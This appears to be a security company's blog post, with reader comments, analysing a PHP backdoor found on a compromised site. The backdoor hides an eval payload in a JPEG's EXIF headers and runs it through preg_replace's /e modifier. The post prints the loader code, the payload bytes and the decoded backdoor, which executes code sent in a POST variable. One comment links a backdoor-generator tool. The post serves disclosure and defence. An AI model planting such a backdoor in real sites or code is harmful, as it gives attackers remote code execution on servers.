A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.
Technical Details
The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.
When we look at the bun.jpg file, we find the second part of the backdoor:
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
The file starts normally with the common headers, but in the "Make" header it has a strange keyword: "/.*/e". That's the exact modifier used by preg_replace to execute (eval) whatever is passed to it.
Now things are getting interesting...
If we keep looking at the EXIF data, we can see the "eval ( base64_decode" hidden inside the "Model" header. When you put it all together, we can see what is going on. The attackers are reading both the Maker and Model header from the EXIF and filling the preg_replace with them. Once we modify the $exif['Make'] and $exif['Model'] for what is in the file, we get the final backdoor:
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");
Once decoded, we can see that it just executes whatever content is provided by the POST variable zz1. The full decoded backdoor is here:
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
Steganography Malware
Another interesting point is that bun.jpg and other images that were compromised, still load and work properly. In fact, on these compromised sites, the attackers modified a legit, pre-existent image from the site. This is a curious steganographic way to hide the malware.
Note: Any of Sucuri clients using Server Side Scanning are protected against this type of injection (detected by us).




  • I appreciate all the hard research concerning this form of attack to a server, but there are working examples of the code demonstrating how it works, this is still all theory. What I have found is there are a lot of posts describing this (theoretical) attack but until I can test this out on my current server to see if there is a security flaw I will conclude that this is all it is.
    I have found several image files with the EXIF modified with the PHP code, and I have also found several on the site I host with the obfuscation, but I am yet to understand how 1. They reverse the obfuscation without having a script to reverse it, and 2. How they make a call to the EXIF coding and run the script.
    This may be my issue, but each file I have discovered uploaded to my site with these modifications, I have then taken them and used a test bed server to see if I could run the code from the browser by accessing the image file directly by using the gif extension or changing it to php.
    On all my tests, I have not been able to replicate what everyone is talking about. This tells me that there has to be a high level of coding for the site that assumes many features are turned on or even installed on the Linux server.
    Again, I appreciate the post, and the theoretical debate on how this could happen, and should happen, but without detailed examples showing this is possible it is nothing more than a potential threat and nothing more.

    #############################
    I appreciate all the hard research concerning this form of attack to a server, but there are working examples of the code demonstrating how it works, this is still all theory. What I have found is there are a lot of posts describing this (theoretical) attack but until I can test this out on my current server to see if there is a security flaw I will conclude that this is all it is.
    I have found several image files with the EXIF modified with the PHP code, and I have also found several on the site I host with the obfuscation, but I am yet to understand how 1. They reverse the obfuscation without having a script to reverse it, and 2. How they make a call to the EXIF coding and run the script.
    This may be my issue, but each file I have discovered uploaded to my site with these modifications, I have then taken them and used a test bed server to see if I could run the code from the browser by accessing the image file directly by using the gif extension or changing it to php.
    On all my tests, I have not been able to replicate what everyone is talking about. This tells me that there has to be a high level of coding for the site that assumes many features are turned on or even installed on the Linux server.
    Again, I appreciate the post, and the theoretical debate on how this could happen, and should happen, but without detailed examples showing this is possible it is nothing more than a potential threat and nothing more.

    ###########
    exiv2 -d e bun.jpg
    removes EXIF Metadata from the image.

    #######
    Hello guys,
    I wrote a special tool that create custom image with EXIF backdoored but the difference between your finding and out tool works is that the future shellcode is obfuscated a little and then is stored. Does your AV detect this or is based on base64 and eval combinations?
    You can test by yourself :
    https://github.com/CCSIR/PHP-EXIF-Backdoors-generator-using-custom-shellcode

    #########
    We've been seeing this in our IPS from users hitting various external websites. It's just triggering on 'base64_decode' in the .jpg. When I decoded it, and googled, I got this post. So all our alert is indicating is a compromised webserver on the internet, not malicious activity against our internal users?

    Sanitising the inputs wouldn't have helped since the attacker could just disable that part of the code. The main interesting thing in this attack is the use of a little-used option to make a seemingly innocuous call to preg_replace execute code. However, having a hard coded path to an image is unusual and would probably draw attention to that part of the code.

    very nice article I learned a lot from it include a few methods(for e.base64 vulnerable,gzip,HTTP compression etc...) I had learned a lot more than the theory himself Thanks

    Couldnt this method also be used to tunnel through "next generation firewalls"?
    That is as soon as the firewall admin allows the client to browse the internet (using http), even if various http-tunnel techniques will be blocked this one will pass since jpegs would of course be allowed to be downloaded through http (aswell as POSTed back to the server which is running the tunneling client)?

    I don't get it... only sites compromised, where the attacker can modify the php codes are vulnerable... so he can put whatever he wants to execute code in the source code... even a system()... this is a very localized vulnerability...

    Sorry for being a complete n00b. Do you mean to say that the malware ridden image was uploaded to a site that allowed execution and hence providing a backdoor for the attacker?

    As stated by others there's no reason this can't extended to hiding code anywhere, in any type of file that is valid, like the PNG format in the "iTXt", "tEXt", or slightly more insidious "zTXt" chunks of a PNG file, hidden in a audio format stream etc etc.
    Interesting way to hide your payload code. I suppose if there was some file integrity checking (a la tripwire/aide) on the system in question hosting the picture it *might* have raised flags, but even a .jpg can be expected to change on a website so it might escape the cursory glance of a nightly report.
    Not being terribly PHP savvy, the hosted picture wouldn't have to be on the same host, but hosted elsewhere and loaded through a URL call.. Even that could escape a nightly report, with some dev's loading offsite code like jQuery..
    Probably the only real protection while using PHP would be to disable some functions, like eval or preg_*() via php.ini or use the hardened PHP Project, Suhosin, which does remove the e from preg*

    Also I wonder how many IDS/IPS systems out there would warn that the jpg/jpeg that just flashed by on the wire contained something odd in its EXIF area (or for that matter as you mentioned a png file containing stuff in the iTXt, tEXt or zTXt)?

    I think it would be hard to do, because the system would have to examine every data stream, and would likely take a decent performance hit attempting to do that (not everything is plain text code, compressed shell code, etc).
    I suppose the idea is the IPS/IDS would detect the intrusion (if properly configured) before the black hat in question has a chance to modify a system before pulling down the payload. There's just too many ways to hide one.However there's always a breadcrumb trail to follow if you know how and where to look.

    The post leaves a little ambiguity on the attack. A lot of people leaving comments seem to think this is some injection attack.
    From my take, this is a backdoor. I take it the attacker already had access to the system (from some other vulnerability) and replaced the bun.jpg with the modified EXIF headers. The attacker also put the PHP code into some source where it's executed. This allows the attacker to issue system commands remotely at any time. Even after they patch his initial entry-point.
    Daniel Cid is this accurate? Or did the attacker magically know (this might have been an open-source application) that preg_replace is used this way?

    Yes, 100% accurate. It is a backdoor added after the attackers got access to the site.

    To be honest the EXIF headers are more or less irrelevant here - the input could be from anything. The problem is using preg_replace with untrusted input, although I should probably blame both whoever wrote that code and PHP itself for making it so easy to shoot yourself in the foot.

    Should be clear that it's bad to pass untrusted input into the first parameter of preg_replace. We routinely do something like preg_replace("[^a-zA-Z0-9]", "", $_REQUEST['param']) to clean user input.
    p.s. With great power, comes great responsibility.



0

Add a comment

Loading